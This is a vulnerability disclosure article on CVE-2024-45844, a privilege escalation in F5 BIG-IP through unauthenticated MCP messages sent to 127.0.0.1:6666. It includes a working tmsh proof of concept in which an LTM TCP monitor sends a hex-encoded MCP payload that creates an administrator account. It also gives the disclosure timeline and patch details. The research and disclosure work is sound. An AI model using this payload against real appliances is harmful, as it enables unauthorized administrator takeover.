Published on Thu 17 October 2024 by myst404 (@myst404_)
The previous articles Post-Exploiting an F5 BIG-IP: root, and now what? and Deep diving into F5 Secure Vault helped us to get a better understanding of the internal F5 mechanisms.
It also led us to discover a privilege escalation that has now been assigned CVE-2024-45844. After finding this issue, we discovered prior work from Ron Bowes on MCP messages that greatly simplifies understanding and exploitation of these kind of issues - thus is recommended reading.
NOTE: All tests depicted below were performed on F5 BIGIP-17.1.1.2-0.0.10 LTM installed from the official VMWare image for this version (sha256: aff4610bdb4f4067c7305a63a7a27f24c47dbf99e55fbed79eed3de3796b5fd6
).
Table of contents
1. MCP
As explained by Ron Bowes, MCP (Master Control Program) is a proprietary database used internally in F5 BIG-IP appliances.
It is possible to interact with this database by sending MCP messages which are handled by the mcpd
daemon. There are two ways to send MCP messages to the mcpd
daemon:
- Through the UNIX domain socket
/var/run/mcp
, as already discovered by Ron Bowes. - Through the network socket listening on
127.0.0.1:6666
(not publicly known as far as we know).
2. MCP messages
Interactions with the MCP database do not require authentication, and MCP messages do not have any specific protection (like encryption or anti-relay).
Most of the F5 configuration relies on MCP messages under the hood: adding an iRule, modifying a NAT policy, adding a new pool member, etc.
From a security point of view, it means that any attacker able to send a MCP message can, for example, create a new root-level account, change any user's role, or modify any user's password.
How can an attacker abuse this behavior to perform privilege escalation?
Unix domain socket
The UNIX domain socket /var/run/mcp
has the permissions 777: anyone on the Linux system can interact with MCP.
The limitation is that you need to execute a bash
command like socat
. However, F5 limits which users can have access to bash
on BIG-IP systems. Only the default root and users with the Administrator role can have bash
access. The attack is pointless here: you need to have administrator access to become administrator.
The scenario becomes interesting to exploit via a fraudulent access, for example if the attacker has obtained arbitrary command execution through the webserver, running as the apache
user (a low-privileged account used to run the web server). By using the mcp-privesc.rb
script in the refreshing-mcp-tool repository or by sending a network request like shown below, it is easy to perform a privilege escalation and become administrator.
This is a known and "WONT FIX" issue by F5:
The current architecture of mcpd (requiring no authentication) is a known issue and is not something that F5 will be changing in BIG-IP.
Network socket
To send a request to the network socket 127.0.0.1:6666
, the attacker needs to have local access.
Once again, executing the command nc
is possible but requires bash
access, as explained above.
Less privileged users use tmsh (Traffic Management Shell). It is a restricted command line interface used for managing BIG-IP systems.
By digging into the documentation, we realized we need to hijack a command in order to send a MCP message locally and thus perform privilege escalation.
3. CVE-2024-45844
Generating a MCP message
An MCP message payload must be created to exploit the privilege escalation. An MCP message creating a new administrator user is an easy way to achieve this goal, even though not the stealthiest.
There are two ways to easily create an MCP message:
- By capturing it for example via
strace
on any test instance and then replaying it. - By using a generation tool like mcp-privesc.rb.
Once forged, the MCP message must be sent to 127.0.0.1:6666
.
LTM Monitors
LTM (Local Traffic Manager) monitors are used to regularly check if a service is answering as expected. LTM monitors can watch over multiple services: MySQL, LDAP, SMB, HTTP, etc.
Depending on the monitor type, arbitrary data (like a custom HTTP header for an HTTP monitor) can be sent to properly check a service.
Interestingly for us the ltm monitor tcp command can be used to monitor if a TCP network service is up. This monitor allows specifying a raw TCP message to send.
The user must have at least the manager role to create an LTM monitor.
It is not possible to directly create a monitor pointing to localhost:
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# create privesc destination 127.0.0.1
Syntax Error: invalid monitor destination "127.0.0.1"
However, it is possible to create an LTM monitor and then change the destination to localhost.
PoC
For demonstration purposes, we use an administrator account, root, to create a manager account, manager_almond, which will exploit the privilege escalation.
1. Use an administrator user to create a manager user:
[root@f5-bigip:Active:Standalone] ~ $ tmsh create /auth user manager_almond prompt-for-password partition-access add { all-partitions { role manager } } shell tmsh
2. Log in with the newly created account:
user@attackervm:~ $ ssh manager_almond@<IP>
3. In the TMSH prompt:
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos)$ ltm monitor tcp #enter the menu ltm monitor tcp
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ create privesc #creating a monitor named privesc
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ modify privesc send '\x00\x00\x00\x36\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x10\x28\x00\x0d\x00\x00\x00\x2e\x10\x29\x00\x0f\x00\x00\x00\x06\x00\x04\x72\x6f\x6f\x74\x64\xb6\x00\x0f\x00\x00\x00\x16\x00\x14\x74\x6d\x73\x68\x2c\x20\x74\x6d\x73\x68\x2d\x70\x69\x64\x2d\x31\x32\x38\x37\x30\x00\x00\x00\x00\x00\xb9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0b\x61\x00\x0d\x00\x00\x00\x1f\x10\x04\x00\x0d\x00\x00\x00\x15\x10\x06\x00\x0f\x00\x00\x00\x0b\x00\x09\x61\x6c\x6d\x6f\x6e\x64\x31\x31\x31\x00\x00\x00\x00\x0b\x5a\x00\x0d\x00\x00\x00\x36\x10\x04\x00\x0d\x00\x00\x00\x2c\x10\x08\x00\x0f\x00\x00\x00\x07\x00\x05\x5b\x41\x6c\x6c\x5d\x10\x06\x00\x0f\x00\x00\x00\x0b\x00\x09\x61\x6c\x6d\x6f\x6e\x64\x31\x31\x31\x10\x07\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x5a\x00\x0d\x00\x00\x00\x4c\x0b\x11\x00\x0d\x00\x00\x00\x42\x0b\x12\x00\x0f\x00\x00\x00\x0b\x00\x09\x61\x6c\x6d\x6f\x6e\x64\x31\x31\x31\x0b\x19\x00\x0f\x00\x00\x00\x06\x00\x04\x62\x61\x73\x68\x0b\x13\x00\x0f\x00\x00\x00\x0f\x00\x0d\x41\x6c\x6d\x6f\x6e\x64\x5f\x4f\x66\x66\x53\x65\x63\x0b\x14\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00' #set the MCP message that will create the administrator user almond111 with the password Almond_OffSec
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ run privesc destination 127.0.0.1:6666 #Run the monitor, i.e. send the data above to 127.0.0.1:6666
4. The user almond111 has been created!
The PoC performs privilege escalation from a user having the manager role (the minimum privilege level required to create an LTM monitor) to administrator.
4. F5 response
Timeline
2024-05-29: Report sent to F5.
2024-05-30: First response by F5.
2024-06-19: Vulnerability acknowledged by F5.
2024-09-29: BIG-IP patched versions released (17.1.1.4, 16.1.5 and 15.1.10.5).
2024-10-11: F5 Response:
Internal daemons, such as mcpd, are only reachable on localhost addresses and local UNIX sockets which are not accessible externally, and only to privileged processes running on the BIG-IP itself. BIG-IP is not a general purpose, multi-user platform. F5 advises only allowing command line (CLI) access to trusted users, as all users with CLI access are granted Administrator privileges. BIG-IP Next uses a new architecture, built around a zero-trust model, ensuring that internal messages are protected.
2024-10-16: F5 Security advisory released. F5 Quarterly Security Notification (October 2024) released.
2024-10-16: CVE-2024-45844 issued, CVSSv4.0: 8.6.
2024-10-17: Release of this article.
Patch
The latest version 17.1.1.4 was tested.
It is no longer possible to use the LTM TCP monitor to send a message locally. An error is raised if the destination is not an IPv4 address (4 blocks separated by dots) or if the IP address starts by 127:
manager_almond2@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# run privesc destination 127.0.0.2:6666
01071e25:3: Invalid Monitor Address for /Common/privesc.
5. References
- https://docs.google.com/presentation/d/1CeWI7IIIVJEmrtPkFPnUIUHns2S7gZnchmlTo3ozhEA/
- https://www.skullsecurity.org/cv
- https://github.com/rbowes-r7/refreshing-mcp-tool